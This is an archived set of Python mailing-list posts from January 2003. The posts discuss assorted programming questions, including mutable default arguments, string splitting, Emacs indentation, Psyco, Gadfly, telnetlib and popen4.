Subject: HTMLParser and Quotes
References: <qpj71v0as06msdmoj6nep17dptnvtqlml6@4ax.com>
Message-ID: <av1bne$jho@newton.cc.rl.ac.uk>

"Richard West" <rwest2 at opti.cgi.net> wrote in message
news:qpj71v0as06msdmoj6nep17dptnvtqlml6 at 4ax.com...

> The face should obviously have quotes around its value, but under the
> circumstances I would think HTMLParser should take anything up until
> the next space or end of the tag as its value.

HTMLParser is a fairly straightforward parser: it mostly follows the SGML
syntax rules. That means that it is of little use for most of the HTML out on
the web. Whilst an DWIM parser might be useful, it could get out of hand,
and I'm fairly happy that the standard library one stops on the first error.
In a few years the XML ones will error anyway.





From maney at pobox.com  Tue Jan 28 23:36:48 2003
From: maney at pobox.com (Martin Maney)
Date: Wed, 29 Jan 2003 04:36:48 +0000 (UTC)
Subject: Emacs has eaten my python tabs!!!
References: <1043563632.4966.71.camel@refugeeMedia> <15923.64232.153575.441139@montanaro.dyndns.org> <mailman.1043595527.13755.python-list@python.org> <pm7eg-im3.ln1@beastie.ix.netcom.com> <v39007j7i12ud2@news.supernews.com> <b13mvs$cuj$1@bob.news.rcn.net>
Message-ID: <b17lp0$rfc$1@wheel2.two14.net>

Aaron K. Johnson <akjmicro at yahoo.com> wrote:
> This is mostly what people need to do using Emacs anyway, right?

Hmmm, maybe I shouldn't have cut quite so much.  This almost looks like
a humorous comment on the subject line...

Anyway - the thing that may get me to invest enough time to get to know
emacs well is Bicycle Repairman.  I can't really imagine how one would
work such that fixing indentation was remotely so large a part of the
daily grind as to steer one's choice of editor!  For the moment I, too,
find Joe the least awful of the readily available *nix editors (but...
the *pico* bindings?  Long ago (but not long enough: I still recall it)
I used pico on an early middle ages Xenix box that offered few choices. 
I was so glad to get away!)




From jdhunter at ace.bsd.uchicago.edu  Tue Jan 28 11:45:07 2003
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Tue, 28 Jan 2003 10:45:07 -0600
Subject: spectral density, periodograms, Numeric
Message-ID: <m27kcpusto.fsf@mother.paradise.lost>

Is anyone aware of cross and power spectral density functions for
Numeric arrays using an averaged periodogram method.  

Thanks,
John Hunter




From davecook at nowhere.net  Sun Jan  5 19:23:00 2003
From: davecook at nowhere.net (David M. Cook)
Date: Mon, 06 Jan 2003 00:23:00 GMT
Subject: Can emacs support auto complete of python?
References: <mailman.1041771677.3260.python-list@python.org> <slrnb1gfvp.1ga.davecook@localhost.localdomain> <mailman.1041777729.13860.python-list@python.org> <ava2rs$j2a$1@news.tudelft.nl>
Message-ID: <slrnb1hj62.108.davecook@localhost.localdomain>

In article <ava2rs$j2a$1 at news.tudelft.nl>, Charl P. Botha wrote:

> would suggest all members of "class" that start with "b".  The ipython shell

Which is here:

http://www-hep.colorado.edu/~fperez/ipython/

There is experimental emacs support.

Dave Cook



From tjreedy at udel.edu  Mon Jan 20 21:34:01 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 20 Jan 2003 21:34:01 -0500
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com> <b0cugo$97r$1@panix2.panix.com> <i7KdnckAi6lfkLejXTWcog@comcast.com> <Z2DW9.1203$Sv3.158990@newsread1.prod.itd.earthlink.net> <mailman.1043010041.6455.python-list@python.org> <b0g2od$nq9$1@wheel2.two14.net> <3E2BB957.2A2199CF@alcyone.com> <b0h4kp$ome$1@wheel2.two14.net>
Message-ID: <LtucneGmN-XXKbGjXTWc3g@comcast.com>

> I guess I've never asked, and this does really cut to the heart of
it.
> I understand that Python has been OO since the very beginning, so
how
> ever did it wind up with so many of the string-the-class's methods
(and
> a constructor or two) hidden in a module, anyway?

Until 2.2, most immutables (numbers, strings, tuples, in particular)
did not have methods.  TJR





From kevin at cazabon.com  Mon Jan 20 19:59:36 2003
From: kevin at cazabon.com (Kevin@Cazabon.com)
Date: Tue, 21 Jan 2003 00:59:36 GMT
Subject: Scope confusion...
Message-ID: <YX0X9.642361$GR5.433453@rwcrnsc51.ops.asp.att.net>

I had a perplexing problem that turned out to be a scope issue, but I still
can't for the life of me figure out WHY it's behaving like this.  Consider
this minimal example, and the resulting output:

##################
def a(list = []):
    list.append("test")
    return list

def b():
    for i in range(20):
        print a()

if __name__ == "__main__":
    b()
##################

I would expect it to print "['test']" twenty times, correct?  It doesn't.
It prints:

['test']
['test', 'test']
['test', 'test', 'test']
['test', 'test', 'test', 'test']
['test', 'test', 'test', 'test', 'test']
['test', 'test', 'test', 'test', 'test', 'test']
['test', 'test', 'test', 'test', 'test', 'test', 'test']
['test', 'test', 'test', 'test', 'test', 'test', 'test', 'test']
... and so on.

If you modify the definition of b to this, then it works as I'd expect:

def b():
    for i in range(20):
        print a([])

Is there a reason for this I'm missing?  "list" should be a private variable
for function a(), and should be initialized to an empty list each time a()
is called, correct?

What am I missing?  (I'm using ActivePython 2.2.1 build 222)

Kevin.





From donn at drizzle.com  Wed Jan 15 23:47:12 2003
From: donn at drizzle.com (Donn Cave)
Date: Thu, 16 Jan 2003 04:47:12 -0000
Subject: os.times() for other process
References: <avu7iv$jol$1@news.rz.uni-karlsruhe.de> <3e246e0f$1@news.nz.asiaonline.net> <b038t2$jjf$1@news.rz.uni-karlsruhe.de>
Message-ID: <1042692430.842756@yasure>

Quoth "Christian Schmidt" <surname.forename at aifb.uni-karlsruhe.de>:
...
| Yes, this helps. But only on Windows...
| On Linux I can parse /proc/pid/stat, but I was hoping that I could access
| these values without parsing.

I missed the original post, but I wonder if
resource.getrusage(resource.RUSAGE_CHILDREN) would work for UNIX
plaforms.

	Donn Cave, donn at drizzle.com



From DLNXPEGFQVEB at spammotel.com  Wed Jan  1 14:51:35 2003
From: DLNXPEGFQVEB at spammotel.com (Christos TZOTZIOY Georgiou)
Date: Wed, 01 Jan 2003 21:51:35 +0200
Subject: Quick tutorial on using the unicodedata module?
References: <mailman.1041379026.27989.python-list@python.org> <m3vg192w2y.fsf@mira.informatik.hu-berlin.de>
Message-ID: <nlh61vc31lulq5l02mnlesvl1q4kh4hham@4ax.com>

On 01 Jan 2003 08:00:37 +0100, rumours say that martin at v.loewis.de
(Martin v. L?wis) might have written:

>downloading the Unicode database, and searching for a characters with
>grep(1) is much more appropriate.

Would this help at all?

import unicodedata, sys

unicode_names= []
for ix in range(sys.maxunicode+1):
    try:
        unicode_names.append( (ix, unicodedata.name(unichr(ix))) )
    except ValueError: # no name for the character
        pass

This is to be used for a grep-like function... therefore a list of
tuples (indexing the list is not meaningful).

Happy new year to everyone following AD time notation :)
-- 
TZOTZIOY, I speak England very best,
Real email address: 'dHpvdEBzaWwtdGVjLmdy\n'.decode('base64')



From sjmachin at lexicon.net  Fri Jan 10 17:44:09 2003
From: sjmachin at lexicon.net (John Machin)
Date: 10 Jan 2003 14:44:09 -0800
Subject: regexp speed concerns
References: <e15e4bd1.0301091611.411bafc2@posting.google.com> <avlhs0$cg5$1@slb9.atl.mindspring.net>
Message-ID: <c76ff6fc.0301101444.619ec9a0@posting.google.com>

Andrew Dalke <adalke at mindspring.com> wrote in message news:<avlhs0$cg5$1 at slb9.atl.mindspring.net>...
> You can also use a non-regex, as in
> 
> import sys
> 
> def main(fh):
>      errSO = re.compile('[\s^](ERR|err|FAIL)')
>      finishFound = 0
>      looking_for = ("ERR", "err", "FAIL")
>      for line in fh:
>          words = line.split()
>          if words and words[0] in looking_for:
>              finishFound = 1
>              break
>       ...

Note that this code implements a restatement of the OP's
"requirements" -- his regexp matches words such as error, errata,
FAILED, FAILURE, and also things like ERR987 and FAIL-1234.

That said, the code can possibly be sped up by (a) using a dictionary
(b) stopping the split after the first word, viz:

     looking_for = {"ERR":1, "err":1, "FAIL":1}
     for line in fh:
         words = line.split(None, 1)
         if words and words[0] in looking_for:

As an aside, beware the subtle undocumented special treatment of the
default delimiter case:

>>> "---err---".split("-")
['', '', '', 'err', '', '', '']

>>> "   err   ".split(" ")
['', '', '', 'err', '', '', '']

>>> "   err   ".split("   ")
['', 'err', '']

>>> "   err   ".split()
['err']
Consistency with the non-default cases would produce ['', 'err', ''].



From Mongryong at sympatico.ca  Thu Jan 30 21:43:31 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 30 Jan 2003 21:43:31 -0500
Subject: Which exception has been used? (was: Which exception to use?)
In-Reply-To: <f4nj3v89bk6m5mltpb7b0jhid1r6gjq3c9@4ax.com>
References: <b16lui$j3s$1@bob.news.rcn.net>
	<mailman.1043786834.24179.python-list@python.org>
	<7h3y954ywdw.fsf@pc150.maths.bris.ac.uk> 
	<v3jak3of0o8ga2@corp.supernews.com>
	<mailman.1043967957.1232.python-list@python.org> 
	<f4nj3v89bk6m5mltpb7b0jhid1r6gjq3c9@4ax.com>
Message-ID: <1043981011.2487.42.camel@refugeeMedia>

Yes, thanks for the correction.  The example should have not included
the except block.





From tim.one at comcast.net  Tue Jan 14 22:47:48 2003
From: tim.one at comcast.net (Tim Peters)
Date: Tue, 14 Jan 2003 22:47:48 -0500
Subject: Copyright on the Python and Python-console icons?
In-Reply-To: <3E24D2A7.A6097307@alcyone.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEJODIAB.tim.one@comcast.net>

[Erik Max Francis]
> ...
> The bottom line with potential copyright infringement situations is
> either get rock solid assurance (a written and signed waiver on physical
> paper), or don't bother.  It's not worth the extremely negative
> potential payoff should things turn ugly.

How frightened are you of getting sued by the PSF?  Your use of Python is
legally possibly only under the same PSF license that covers the icon files
Mike asked about.  Get a little reality into this -- the PSF isn't
Microsoft, and some of us even like Mike a lot <wink>.  IANAL, though, and
don't want to pay lawyers to tell Mike to pay his lawyer to tell him what
should be obvious.  The PSF has better uses for its funds, and so does Mike.
Calling that living dangerously is a real stretch.





From peter at engcorp.com  Thu Jan 16 21:42:03 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 16 Jan 2003 21:42:03 -0500
Subject: Coding standard: Prefixing variables to indicate datatype
References: <mailman.1042763431.24621.python-list@python.org>
Message-ID: <3E276D7B.EBB63064@engcorp.com>

David LeBlanc wrote:
> 
> Charles Semonie (sp?) said he rued the day he ever even thought of
> "hungarian" notation, let alone foisted it upon an unsuspecting developer
> world.

It's "Simonyi", and although I've found many web pages expressing
a dislike of the notation, I haven't been able to find any references
to Simonyi himself expressing any regret.  Can you point me to one?

> Plain and simple it's bad programming practice. Among other things, it
> encourages bad names for variables and focuses more on the data's type then
> it's use.

Agreed!

-Peter



From tino.lange at isg.de  Fri Jan  3 10:30:07 2003
From: tino.lange at isg.de (Tino Lange)
Date: Fri, 03 Jan 2003 16:30:07 +0100
Subject: [Python-Dev] [development doc updates]
In-Reply-To: <20021231183847.B367218EC36@grendel.zope.com>
References: <20021231183847.B367218EC36@grendel.zope.com>
Message-ID: <3E15AC7F.1020302@isg.de>

Fred L. Drake wrote:

> The development version of the documentation has been updated:
>     http://www.python.org/dev/doc/devel/
> Possibly the last update before the Python 2.3 alpha release.

Hi all!

In the "improved standard modules" - section of the "WhatsNew" & Co. 
Texts the SSL support in imaplib.py is missing. (submitted March 2002 by 
Piers Lauder and myself). Python 2.3 will be the first Python release in 
which this change is official included.

Cheers,

Tino






From tchur at optushome.com.au  Mon Jan 13 01:07:11 2003
From: tchur at optushome.com.au (Tim Churches)
Date: Mon, 13 Jan 2003 17:07:11 +1100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re:
    [ann]  Minimal Python project)
Message-ID: <200301130607.h0D67BC17996@mail017.syd.optusnet.com.au>

An embedded and charset-unspecified text was scrubbed...
Name: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030113/578270db/attachment.ksh>

From tismer at tismer.com  Tue Jan 14 11:11:16 2003
From: tismer at tismer.com (Christian Tismer)
Date: Tue, 14 Jan 2003 17:11:16 +0100
Subject: [ann] Minimal Python project
In-Reply-To: <7xbs2k3pwp.fsf@ruckus.brouhaha.com>
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <m2adi7ull8.fsf@mycroft.actrix.gen.nz> <OASU9.131402$Hs2.11990469@kent.svc.tds.net> <7xbs2k3pwp.fsf@ruckus.brouhaha.com>
Message-ID: <3E2436A4.40507@tismer.com>

Paul Rubin wrote:
> "Edward K. Ream" <edream at tds.net> writes:
> 
>>1. The main reason for thinking C is particularly suited to
>>producing fast code is that in C the types of all objects are known
>>at compile time.  ...  I would expect that running psyco on Python
>>code will at best run half as fast as the equivalent hand-written C
>>code.  The reasons are clear: psyco has neither the time nor the
>>information to do as well as the best hand-written C code compiled
>>by a descent compiler.
> 
> 
> In fact some Lisp systems have been shown to produce compiled code
> that runs as fast as compiled C code.  I don't see that Python needs
> to be different.

As an addition:
Pysco will have a much easier game with the
re-implementation of Python in Python than
with general Python code.
I'm going to build the basic objects with
Python, but based upon an object description
which is similar to the new type objects
with slots and properties.
This concept can be expanded to not only describe
derivatives of Python objects, but also for
ordinary data structures which we know from C.

This leads to high-level descriptions of low-level
fields of all structures.
These field descriptors will be the objects which
are modified from the Python code.
Example:
An integer field in a structure describing a Python
frame, for instance f_lineno, is not a regular
integer object, but is accessed via a descriptor
which tells that this is a fixed sized integer field
which does not overflow.
By using this kind of objects in Python expressions,
Psyco can absolute easily deduce that it is dealing
with primitive types. There is no experimentation
necessary, and even without gathering any runtime
experience, Psyco *can* emit code of the same
quality as a C compiler does, provided that we make
it into a smart enough compiler.

The code dealing with these objects is ordinary
Python code. The objects just happen to know what
they are and how they should be rendered into
assembly. So this leads to efficient implementations
even of the innermost objects.
Everything else can be bootsrapped upon this.

This simple principle would even work without
all of Psyco's sophistication, which makes me
so confident that this project will have a great
result, even when compiling statically.

cheers - chris





From maney at pobox.com  Thu Jan 16 23:19:28 2003
From: maney at pobox.com (maney at pobox.com)
Date: Fri, 17 Jan 2003 04:19:28 +0000 (UTC)
Subject: buffer overflow
References: <splb2vkt2lqspqjea5566dldil2t5s3v7m@4ax.com> <m3u1gaax68.fsf@mira.informatik.hu-berlin.de>
Message-ID: <b0808g$b4j$2@wheel2.two14.net>

Martin v. L?wis <martin at v.loewis.de> wrote:
> donoli <eat at joes.com> writes:
> 
>> I have two machines, FreeBSD 4,2  and  W2K pro.  I'd like to test the
>> security on both of them against a buffer overflow.  If someone has
>> the code in python for a buffer overflow, please post it.
>> donoli.
> 
> Python does not support buffer overflows, sorry.

I'm sure they could be added by a C extension module.



From shalehperry at attbi.com  Sun Jan 26 12:49:55 2003
From: shalehperry at attbi.com (Sean 'Shaleh' Perry)
Date: Sun, 26 Jan 2003 09:49:55 -0800
Subject: Emacs has eaten my python tabs!!!
In-Reply-To: <15924.1359.334067.544435@montanaro.dyndns.org>
References: <1043563632.4966.71.camel@refugeeMedia> <1043595434.1388.2.camel@refugeeMedia> <15924.1359.334067.544435@montanaro.dyndns.org>
Message-ID: <200301260949.55727.shalehperry@attbi.com>

On Sunday 26 January 2003 07:57, Skip Montanaro wrote:
>     Mongryong> Doesn't python rely on tabs?
>
> Nope.  It relies on indentation.  I believe TAB characters advance the
> indentation to the next multiple of eight columns.
>
> Skip

more explicitly it relies on whitespace characters.  2 spaces, one tab, it 
does not matter as long as each block is consistent in the type and amount of 
whitespace used.

Because a tab can be redefined to mean different amounts of whitespace and 
generally causes confusion it is standard practice in the Python community to 
only use spaces for indentation.  Emacs usually follows this convention.  
However if the file you load has tabs in it already Eamcs will use tabs 
instead.




From aka at mvps.org  Sat Jan 11 19:22:57 2003
From: aka at mvps.org (Alex K. Angelopoulos)
Date: Sat, 11 Jan 2003 19:22:57 -0500
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com>
Message-ID: <avqch1$ipr4i$1@ID-136433.news.dfncis.de>

James,

Just a couple of corrections here - although let me start out by saying that
anytime another scripting language is available, it's a good thing.

-- 

"James Huang" <judoscript at hotmail.com> wrote in message
news:52719db8.0301062130.5299a0ff at posting.google.com...
> Perl and Python programmers are all material witnesses
> of how scripting can greatly improve productivity. That's
> why scripting languages enjoy great success. Scripting
> means that we can issue OS commends from within a
> full-fledged programming language -- a scripting language.
>
> Have you ever thought about scripting more areas, such
> as SQL, XML, EJB, SGML, HTTP, E-mail and GUI, the way you
> script OS commands, all at once? Think about it!

I do all that with script.  My actual environment in usually Windows, and I tend
to use WSH; generally, it's VBScript, but when I can use Python I can actually
use the exact same techniques.  I can even use the Active Scripting tools to
call across from Python to VBScript and vice-versa.

> In Perl and Python, anything beyond OS-level scripting
> must be programmed through some kind of APIs.

That's not quite true. ;)

I can read and write XML, send commands via HTTP, retrieve pages and the text,
and handle email from script without touching a single API.  I can automate
Office applications on Windows.  I can parse code, do numerical analysis, etc -
and when I have components written in Python I can call them from anything else
on my PC.

> ...but Java is standing out.
> This is reality. A same Java API can be used by Java
> (a popular system language) and also scriptable by any
> Java-based scripting languages. You can't beat that.
>
> But Java does have limitations, since it is a common
> denominator of all platforms.
>
> The rule of thumb is, if your scripts make a lot of
> system calls, stay where you are; otherwise, Java is
> well worth investigating. If you do, then do it with
> the right tool -- JudoScript -- you won't regret it.
>

One other concern here.  There are serious problems with Windows users being
"orphaned" now that Sun has killed the native machine implementation Microsoft
had.  It DOES have 3-4 good years of life left in it, and possibly more if Sun
cleans up their Windows implementation (I'm speaking about relative performance
issues and resilience to breakage in use - that's been a historic problem for me
with the Sun version on  Windows PCs).  If JudoScript is independent of Java, or
if Sun gets rolling, this may not be a hindrance.

Good luck!





From abelikov72 at hotmail.com  Thu Jan  9 11:21:48 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Thu, 09 Jan 2003 16:21:48 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>
Message-ID: <6h8r1vkl2qfe8e99dvn5n3lmphngrar2h2@4ax.com>

On Thu, 09 Jan 2003 06:52:47 GMT, Afanasiy <abelikov72 at hotmail.com>
wrote:

>I've written this method for a text formatting class...
>But it's ugly as sin. With all those self's I consider
>it much less readable than it could be...
>
>A few languages provide syntax sugar for dealing with
>this by allowing you to localize the class scope.
>
>Does Python? eg. `with self do:`
>
>  def format( self, width=80 ):    
>    self.lines = ['']
>    i = 0
>    for word in self.text.split():  
>      if self.textwidth(self.lines[i]) + self.textwidth(word) <= width:
>        if self.textwidth(self.lines[i]) > 0:
>          self.lines[i] += ' '
>        self.lines[i] += word
>      else:
>        i += 1
>        self.lines.append(word)

Just had to have one more reply. I did say "try"... anyway...
I stumbled onto the fact that Peter Norvig agrees with me. ;)



From mis6+ at pitt.edu  Fri Jan 31 16:31:06 2003
From: mis6+ at pitt.edu (Michele Simionato)
Date: Fri, 31 Jan 2003 16:31:06 -0500
Subject: (no subject)
References: <200301311941.h0VJf9w03290@enterprise.phyast.pitt.edu>
 <1044047452.1119.8.camel@sayge.arc.nasa.gov>
Message-ID: <3E3AEB1A.6587E1C@pitt.edu>

Chad Netzer wrote:
> 
> On Fri, 2003-01-31 at 11:41, mis6 at pitt.edu wrote:
> > Subject: adding to __builtins__
> >
> > Consider the following script (I need it under Python 2.2, where True and
> > False are undefined):
> 
> ????
> 
> $ python
> Python 2.2.2 (#1, Jan 18 2003, 10:18:59)
> >>> True
> 1
> >>> False
> 0
> 
> Was this not added in 2.2.0?

Strangely enough, no.

> 
> In any case, your truefalse.py should definitely check to see if True,
> False are not already defined and exist in builtin, rather than just
> forcibly adding them to __builtin__, since they might become keywords at
> some point, or might not be allowed to be changed in __builtin__ (??).

I posted a stripped version of my code, In the original I check against
sys.version before changing  __builtin__

> Furthermore, they will become type bool, so it may be best to define
> True = (1==1) and False = (0==1), or some such thing.

Nice idea, I will do that way.
 
> These things *might* be helpful for future compatibility (but are
> probably overkill).
> 
> --
> Bay Area Python Interest Group - http://www.baypiggies.net/
> 
> Chad Netzer
> (any opinion expressed is my own and not NASA's or my employer's)


Thanks, (to Skip too)

-- 
Michele Simionato - Dept. of Physics and Astronomy
210 Allen Hall Pittsburgh PA 15260 U.S.A.
Phone: 001-412-624-9041 Fax: 001-412-624-9163
Home-page: http://www.phyast.pitt.edu/~micheles/




From irmen at NOSPAM-REMOVETHIS-xs4all.nl  Thu Jan  9 16:03:07 2003
From: irmen at NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Thu, 09 Jan 2003 22:03:07 +0100
Subject: Generate variables at run time?
In-Reply-To: <Z77T9.276$V71.172@newssvr19.news.prodigy.com>
References: <VyPS9.6818$xs6.347786501@newssvr14.news.prodigy.com> <avi7k2$g5tob$1@ID-89047.news.dfncis.de> <Z77T9.276$V71.172@newssvr19.news.prodigy.com>
Message-ID: <3E1DE38B.5090805@NOSPAM-REMOVETHIS-xs4all.nl>

Byron Morgan wrote:

> I have been using REXX for years for all my scripting needs. In REXX, I can
> use any string as a variable with no special handling.

Something like that is perfectly possible in Python as well. See below.

> for the curious:
> In REXX, for a similar situation, I use a stem "train", then add the train
> number, then add each attribute as events are reported.
> train. = 0
> train.123 = 1 (value represents the number of cars in train)
> train.123.stat = 1 (0 if stopped, 1 if moving)
> train.123.doors = 1 (1 if closed, 0 if open)

The thing is, Python allows you to add names to the naming context of a
class instance dynamically. This means that (unlike most other languages)
you can create an instance of an 'empty' class, like so:

class Train:
	pass

train=Train()

and then populate the object with other objects of your choice:

train.number=655
train.stat=1
train.doors=1
train.carclasses = [1,2,2,1,2,2,1,]

You can dump all attributes again with, for instance:

print vars(train)


Irmen

PS I actually use this trick myself often when I know that I have
a set of variables that are somehow related, but don't really need
the overhead of a full class definition, or when the set of variables
is not known in advance.




From sholden at holdenweb.com  Tue Jan 28 09:15:35 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Tue, 28 Jan 2003 14:15:35 GMT
Subject: String Methods Don't Change ID?
References: <889cbba0.0301271313.7da84213@posting.google.com> <3E35A9B3.87D605DC@engcorp.com> <889cbba0.0301271948.3c8843fc@posting.google.com>
Message-ID: <bgwZ9.32015$Vh.357@news2.central.cox.net>

"Kamilche" <klachemin at home.com> wrote in message
news:889cbba0.0301271948.3c8843fc at posting.google.com...
> Peter Hansen <peter at engcorp.com> wrote in message
news:<3E35A9B3.87D605DC at engcorp.com>...
> >
> > Finish up your example by typing "quest" again:
> >
> > >>> quest
> > 'what is your favorite color?'
> >
> > Hmm.... neither very centered, nor capitalized, is it?  So it hasn't
> > been modified. ;-)
> >
>
> Heheheh, I get it now, thanks. :-)
>
> Calling a method on a string SEEMS like it should modify the original,
> not create a new one, but I guess strings are 'special' all the way
> around.  To me, it's kinda like saying 'person.logon(logonid,
> password)' creating a new person object and logging them on, while
> leaving the original person untouched.

There's nothing that special about strings, they are simply objects with a
particular property called "immutability". That just means they can't be
changed once they are created.

However, you seem to be suffering from the illusion that all methods are
about modifying objects. They aren't. Methods are simply calls to specific
pieces of functionality, which relate to the type or class of the object.

In your logon example, it's quite possible that the person.logon() method
would create a new object, a loggedOnPerson, which contained a reference to
the original person. It's all a matter of how you choose to implement your
functionality. Strings being immutable, of course, nothing can change them.

Back in "the old days" before strings spruoted the methods we've come to
know and love, you used to have to write

import string
a='what is your favorite color?'
a = string.capitalize(a)

This made it more obvious that you had to bind the name "a" to a new string,
but it was rather less intuitive (to me, at least). If you can think of some
way to express your misunderstanding that might save other newcomers from
the same problems it might be helpful (for the other newcomers) if you were
to try to do so.

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From mwh at python.net  Tue Jan 21 05:04:18 2003
From: mwh at python.net (Michael Hudson)
Date: Tue, 21 Jan 2003 10:04:18 GMT
Subject: isinstance is broken
References: <2259b0e2.0301180850.7421e446@posting.google.com> <b4iW9.2826$e34.1184@nwrddc04.gnilink.net> <7h3el78ks2e.fsf@pc150.maths.bris.ac.uk> <f2YW9.338$dU.23@nwrddc01.gnilink.net>
Message-ID: <7h3vg0ikee3.fsf@pc150.maths.bris.ac.uk>

Carl Banks <imbosol at vt.edu> writes:

> Michael Hudson wrote:
> > Carl Banks <imbosol at vt.edu> writes:
> > 
> >> I think a C extension could create an object that is not an instance
> >> of object, in which case isinstance(something,object) would return
> >> false.
> > 
> > I think not, because a type is always an object.
> > 
> > isinstance(c, object) == issubclass(type(c), object) == True.
> >                      ^
> >           except for old-style instances 
> > 
> > My reading of the source would seem to confirm this, but I could well
> > have missed something...
> 
> Correct.  If you leave tp_bases empty, Python happily sets it to a
> tuple of PyBaseObject.

It's even more than that: if your type doesn't have
Py_TPFLAGS_HAVE_CLASS in tp_flags (in which case I don't think
tp_bases is even defined), this code executes in PyType_IsSubtype:

	if (!(a->tp_flags & Py_TPFLAGS_HAVE_CLASS))
		return b == a || b == &PyBaseObject_Type;

(which wasn't the code I found yesterday, but it strengthens my view).

So Everything Is An object.  I'm sure the Smalltalkers are very happy
:)

Cheers,
M.

-- 
  For every complex problem, there is a solution that is simple,
  neat, and wrong.                                    -- H. L. Mencken



From j.o.e.r.g at gmx.net  Thu Jan 30 11:51:48 2003
From: j.o.e.r.g at gmx.net (joerg)
Date: 30 Jan 2003 08:51:48 -0800
Subject: Problem - Gadfly loosing tables.
Message-ID: <d257d7e0.0301300851.307634d5@posting.google.com>

Hello,

I've got some problem using the Gadfly Database:
Coded a Python program to fill a database from a CSV file.
The Program works fine. It creates the table and fills in
the records from the CSV file.

Then I use gfplus and do a select * from the new table.
Everythings fine.
But when I start the Program a second time to create another
table, the previously inserted table is gone!
The data file is stil there, but a select * from <old_table>
raises an error: NameError: no such relation in database.

Some ideas about that? I did the connection.commit (), so that
is not the problem.

Joerg



From andy at eastonwest.co.uk  Sun Jan  5 19:17:43 2003
From: andy at eastonwest.co.uk (andy)
Date: Mon, 6 Jan 2003 00:17:43 +0000
Subject: Opinions, please: Repository module
In-Reply-To: <7xwuljp4hb.fsf@ruckus.brouhaha.com>
References: <mailman.1041806169.632.python-list@python.org> <7xwuljp4hb.fsf@ruckus.brouhaha.com>
Message-ID: <200301060017.19510.andy@eastonwest.co.uk>

On Sunday 05 Jan 2003 11:21 pm, Paul Rubin wrote:
> If you're exposing it to the internet you really better have some security
> to keep dipwads from taking over the server.

Yep, I understand that: it's just a 'first poke' at doing this, and as I said, 
it's for something for my kids - to run accross our 'family' lan.
>
> Something wrong with xmlrpc over http using urllib or something like that?

Overkill for what I wanted to do.  Yes I looked at xmlrpc, and will definately 
do so again in the future, but for this, it's way too much: learning curve, 
complexity (well, maybe)...

> If serving a request involves doing anything complicated, you really
> want to provide some kind of concurrency, even if it's simple forking.

Each request is simply an assignment to or 'read' from an in-memory 
dictionary.

> I'd say use the XMLRPC module instead of a dictionary.  You really
> should have some kind of authentication, too.

As you do with this kind of project, seeing lots of possibilities, I've kept 
an extensive list of 'stuff for later'.  This does include authentication, 
simple security (i.e. who cant read/write what keys etc.), the thought of 
using SSL, cPickle, Base64, persistency etc.  But to kick things off, I 
needed to get the bare bones sorted out.

> What happens if the server stops running?  If the repository isn't
> persistent, it's not really a repository.

At the moment, the clients die.  That's ok for what I want now - my kids can 
deal with the dissappointment (they use Windows based educational software, 
for eg.).

> Yes, MySQL ;-)

No, not a database.  Already thought about that.  Again, overkill, and too 
much more to learn (don't know SQL, don't have a SQL server running/set up 
etc.)

> It sounds like you're doing a worthwhile learning exercise but not
> something really suitable for general release.

Didn't I say that?

Just to show you the (lack of) depth of the project this is for, it's a simple 
'virtual playground' for my kids, something to encourage them to 
read/write/type/mouse more.  They were immensely impressed by the simple fact 
that they could move a 64x64 pix image of themselves round the screen and 
'jump' on the icky hand-made gimp-graphics furniture I drew for them.  My 
kids are 2, 5 and 7...

This module is to enable me to network this effort, allow simple 'chat' 
speech-bubbles, maybe animation and sound effects.  The repository only needs 
to store the x,y co-ordinates of all 'characters' plus some other details 
like face image file etc.  It may later support different rooms, non-player 
characters and so on, as demanded by the sprogs.

I wasn't trying to suggest that I'd invented the next greatest PEP...  

-andyj




From Dickerson4 at dow.com  Fri Jan 10 10:11:55 2003
From: Dickerson4 at dow.com (Dickerson, Dee)
Date: Fri, 10 Jan 2003 09:11:55 -0600
Subject: telnetlib
Message-ID: <57D14E1C59CED51193B70002B33B535E03BB1258@txnte38.nam.dow.com>

Below is telnet code that I am trying to get going.  I am going from a Windows2000 machine to a Redhat Linux machine; the ls command will not run as I can tell; it does not return any output.
 
I need to be able to execute other commands such as ps with options such as
 
ps -eda -format pid,command |grep legion-server,,,,, etc|
 
I would appreciate any help that anyone could offer.
 
 
import telnetlib
import sys
from hostlistdee import hostlistdee
 
user='legion'
pw='*******'
 
for host in hostlistdee:
   try:
      tn=telnetlib.Telnet(host)
      tn.read_until("login: ")
      tn.write(user+'\n') 
      tn.read_until('Password: ')
      tn.write(pw+'\n')
      tn.write('ls\n')
      tn.write('exit\n')
      tn.read_all()
      tn.close()
      print 'started ',host
   except:
      print 'failed ',host
   # end try
# end def
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030110/bd03de2c/attachment.html>

From hancock at anansispaceworks.com  Fri Jan 24 18:47:41 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Fri, 24 Jan 2003 23:47:41 GMT
Subject: popen4 doesn't block?
Message-ID: <xgkY9.1183$d66.119417@newsread1.prod.itd.earthlink.net>

Hi,
I've noticed that "os.popen4" (on Linux) does not block. I'm seeing side 
effects of the process continuing after the call returns, and that's not 
what I want. I need to wait until the sub-process is complete before 
continuing (I think os.system does this, but then I can't get to the input 
and output streams). How can I acheive that?

Some background (and maybe you have a better strategy for solving this 
problem?):

